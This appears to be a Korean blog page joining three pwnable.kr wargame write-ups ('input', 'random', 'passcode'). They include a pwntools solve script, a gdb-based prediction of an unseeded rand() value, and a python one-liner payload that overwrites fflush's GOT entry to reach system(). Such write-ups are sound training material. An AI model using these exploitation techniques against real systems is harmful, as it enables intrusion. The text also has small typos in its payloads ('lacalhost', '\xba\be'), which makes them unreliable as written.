이제 저 코드를 해석해보면 인자의 개수를 100개로 하고 argv['A'] 즉 argv[65]에는 \x00이 들어가고 argv['B'] 즉 argv[66]에는 \x20\x0a\x0d가 들어가게 하면 되는것이다.


이제 2단계를 확인해보자.


1
2
3
4
5
6
7
// stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff"4)) return 0;
    read(2, buf, 4);
    if(memcmp(buf, "\x00\x0a\x02\xff"4)) return 0;
    printf("Stage 2 clear!\n");
cs


2단계는 파일 디스크립터 관련된 문제이다.

0 : 표준입력

1 : 표준출력

2 : 표준에러

이것만 이용하면 바로 풀 수 있을 것이다.

read(0, buf, 4)는 표준 입력의 4바이트를 읽어와서 \x00\x0a\x00\xff와 비교하고

read(2, buf, 4)는 표준 에러의 4바이트를 읽어와서 \x00\x0a\x02\xff와 비교한다.


여기서 표준 입력은 그냥 \x00\x0a\x00\xff를 넣어주면 되는데 표준에러에 어떻게 넣어야 할까에 대해서 고민을 좀 했다.

그냥 간단하게 어떤 파일을 하나 열어서 거기에 \x00\x0a\x02\xff를 넣고 표준에러의 fd값을 저 파일로 바꿔주면 될 것 같아서 해보니까 성공했다~!



쓰기 권한이 있는 /tmp에 가서 test파일을 만들고 실행시켜보았다.



2단계까지의 페이로드는 다음과 같다.


from pwn import *


context.log_level = 'debug'


k = open("ryu", "w")

k.write("\x00\x0a\x02\xff")

#ryu라는 파일을 열어서 해당 값을 입력해준다.


k = open("ryu", "r")


argv = [str(i) for i in range(100)]

argv[ord('A')] = '\x00'

argv[ord('B')] = '\x20\x0a\x0d'

#전달할 인자를 생성해준다.


p = process(argv, stderr=k, executable='/home/input2/input')


p.recv(1000)


p.send('\x00\x0a\x00\xff')

#표준입력으로 값을 전달해준다.

p.recv(1000)



이제 3단계를 확인해보자.


1
2
3
 // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");
cs


getenv함수는 해당 환경변수의 값을 가져오는 함수니까 "\xde\xad\xbe\ef"라는 이름의 환경변수 값이 "\xca\xfe\xba\xbe"이면 된다.


간단하게


e = {'\xde\xad\xbe\xef' : '\xca\xfe\xba\be'}


라는 코드를 추가하고 환경변수로 e를 넣어주면 된다.




성공이다~!~!


이제 4단계를 확인해보자.


1
2
3
4
5
6
7
// file
    FILE* fp = fopen("\x0a""r");
    if(!fp) return 0;
    if( fread(buf, 41, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00"4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n");  
cs


\x0a라는 파일을 열어서 처음 4바이트가 \x00\x00\x00\x00이면 성공이다.

이번 단계도 간단하게 파일을 열어서 저 데이터를 넣어주기만 하면 된다.

l = open("\x0a", "w")

l.write("\x00\x00\x00\x00")

l.close()



성공이다~!~!


이제 마지막 단계를 확인해보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 40!= 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef"4)) return 0;
    printf("Stage 5 clear!\n");
cs


argv['C']에 있는 값을 포트번호로 소켓을 생성하고 listen하고 있다가 데이터가 들어오면 그 데이터를 buf에 저장하고 \xde\xad\xbe\xef와 비교하는 코드이다.


이번단계를 해결하려면 argv['C']에 포트번호를 넣어놓고 remote를 통해 lacalhost를 호출하고 데이터를 전달해주면 될 것 같다.


from pwn import *


context.log_level = 'debug'


k = open("ryu", "w")

k.write('\x00\x0a\x02\xff')

#ryu라는 파일을 열어서 해당 값을 입력해준다.


l = open("\x0a", "w")

l.write("\x00\x00\x00\x00")

l.close()

#4단계 파일에 값을 넣어준다.


k = open("ryu", "r")


argv = [str(i) for i in range(100)]

argv[ord('A')] = '\x00'

argv[ord('B')] = '\x20\x0a\x0d'

argv[ord('C')] = '1010'

#전달할 인자를 생성해준다.


e = {'\xde\xad\xbe\xef' :'\xca\xfe\xba\xbe'}

#환경변수를 만들어준다.


p = process(argv, stderr=k, env=e, executable='/home/input2/input')


p.recv(1000)


p.send('\x00\x0a\x00\xff')

#표준입력으로 값을 전달해준다.

p.recv(1000)


sleep(3)

#소켓 열리는 시간도 생각해준다.


m = remote('lacalhost', 1010)

m.send('\xde\xad\xbe\xef')


p.recv(1000)

p.recv(1000)




성공은 했는데 나오지가 플래그가 뜨지 않았다ㅠㅠ

이 파일이 실행될 때의 경로가 /tmp안이니까 플래그 파일이 해당경로 안에 없어서 그런 것이였다.

중간에 파일을 만들기도 해야하니까 옮기는건 힘들고 심볼릭 링크를 걸어줬다.



이런식으로 해주면



플래그가 나온 것을 확인할 수 있다~!~!

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake  (0) 2019.02.24
[pwnable.kr] leg  (0) 2019.02.20
[pwnable.kr] random  (0) 2019.01.15
[pwnable.kr] passcode  (0) 2019.01.13
[pwnable.kr] flag  (0) 2019.01.12


아빠!! 랜덤값을 프로그래미엥 넣는 법을 알려주세요~!~!~! 라는 문제이다. 음... 아마 랜덥값을 조정하거나 예측하여서 특정 조건을 만족하게 하면 플래그가 읽히게 되는 문제일 것 같은 생각이 든다. 일단 xshell을 통해 접속해보자.



random파일을 실행해보면



2^32번의 케이스를 시도해보라고 나온다. 예상했던대로 지정된 랜덤값을 맞추는 문제같다!!


소스파일을 한번 확인해보자.



입력한 key값이랑 random값을 xor했을때 0xdeadbeef가 되면 cat flag가 실행되는 매우매우 간단한 코드이다. 

그리고 이 소스코드 내에서의 rand()는 따로 시드도 설정되지 않았고 srand()와 다르게 고정된 난수값이므로 충분히 알아 낼 수 있다!!


gdb를 이용해서 확인해보자!



rand함수가 호출되고 난 뒤인 main + 18부분에 brake point를 걸고 메모리를 확인해보자.

함수가 끝나고 결과값은 rax에  저장되니까 rax를 확인해보면 될 것이다.



random값은 0x6b8b4567인 것을 알 수 있었으니까 이제 0xdeadbeef와 xor을 시켜보자.



이제 3039230856을 집어넣어보자!



플래그가 나왔다!!!!!~!~!~!

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] leg  (0) 2019.02.20
[pwnable.kr] input  (0) 2019.02.18
[pwnable.kr] passcode  (0) 2019.01.13
[pwnable.kr] flag  (0) 2019.01.12
[pwnable.kr] bof  (0) 2019.01.04


엄마가 나한테 passcode기반의 로그인 시스템을 만들라고 말했다!! 난 처음으로 어떤 에러도 없이 C코드로 컴파일 했다!! 음...근데 컴파일러가 몇가지 경고를 했긴 했는데... 누가 신경쓰겠어~~ 라는 문제이다.


문제만 봐서는 어떤 형식의 문제인지 잘 모르겠고 일단 xshell을 통해서 접속해봤다.


어떤 파일들이 있는지 확인해보자.


passcode를 실행시켜 보았다.


이름을 입력받고 passcode를 입력해서 로그인을 하는 코드인 듯 보인다. 이제 c코드를 한번 살펴보자.



passcode1이 338150이고 passcode2가 13371337만 만족하면 바로 flag를 읽을 수 있다.



main함수는 welcome으로 이름을 입력받고 login을 통해 패스워드를 입력받는다. 그냥 너무 쉽다고 생각해서 바로 passcode를 입력받는 부분에 338150을 집어넣으니까 새그가 떴다.



왜 새그가 떴는지 모르겠어서 다시 코드를 자세히 보니까 scanf에 &가 빠져있는 것을 확인할 수 있다.



그러니까 저 코드는 passcode1이라는 변수에 값을 저장하는 코드가 아니라!!

passcode1이라는 변수 안에 있는 값의 주소에 입력값을 넣는 코드인 것이다!!


이게 무슨말이냐면 만약 passcode1에 0xdeadbeef가 들어있다고 가정해보자. 

만약 scanf("%d", &passcode1); 이라는 코드가 실행된다면 passcode1의 값이 0xdeadbeef에서 입력값으로 업데이트 될 것이다.

하지만 scanf("%d", passcode1); 이 실행된다면 여기서 입력한 값이 0xdeadbeef에 저장되는 것이다.


여기서 문제의 의도를 알 수 있다. passcode에 내가 원하는 주소의 값을 넣어놓는다면 passcode1과 passcode2의 값을 조정할 수 있을 것이다.

그렇기는 한데... 좀더 간단하게 문제를 해결할 수 있었다.


scanf로 passcode1에 입력받은 후에 버퍼를 비우는 fflush(stdin);이 실행된다. 만약 이 fflush함수의 got를 system("/bin/cat flag");의 시작주소로 변경한다면 바로 플래그를 읽을 수 있을 것이다. 어떻게하면 쉽게 주소를 변경할 수 있을까? gdb를 통해 좀더 자세히 보자.



일단 welcome코드를 보면 ebp-0x70부분이 name배열의 시작부분인 것을 알 수 있다.



그리고 passcode1은 ebp-0x10부분에 위치하는 것을 알 수 있다.


생각해보자... passcode1과 name배열의 시작부분의 차이는 0x60이다. 즉 96이므로 name[96]~name[99]부분이 겹친다는 것을 알 수 있다. 

이제 전체적인 흐름을 파악했으니까 페이로드를 짜보자.


1. 처음 welcome함수가 실행될때 마지막 4바이트를 fflush함수의 got값으로 집어넣는다.


2. scanf("%d", passcode1);에서 system("/bin/sh flag");의 시작주소를 넣어 fflush함수의 got값을 변경한다.


이렇게 두단계만 거치면 flag를 읽을 수 있다!!!!

이제 fflush의 got주소와 system의 시작주소만 알아내면 된다.



fflush의 got주소 ==> 0x804a004



system코드가 실행되는 시작주소 ==> 0x080485e3


원하는 값들을 모두 얻었다!!


(python -c 'print "\x90"*96 + "\x04\xa0\x04\x08" + "134514147"') | ./passcode


여기서 scanf는 10진수로 값을 입력받으니까 0x080485e3을 10진수로 바꾸어서 넣어줬다. 이렇게 해주면



성공~!~!~!

'pwnable > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] input  (0) 2019.02.18
[pwnable.kr] random  (0) 2019.01.15
[pwnable.kr] flag  (0) 2019.01.12
[pwnable.kr] bof  (0) 2019.01.04
[pwnable.kr] collision  (2) 2018.12.29

+ Recent posts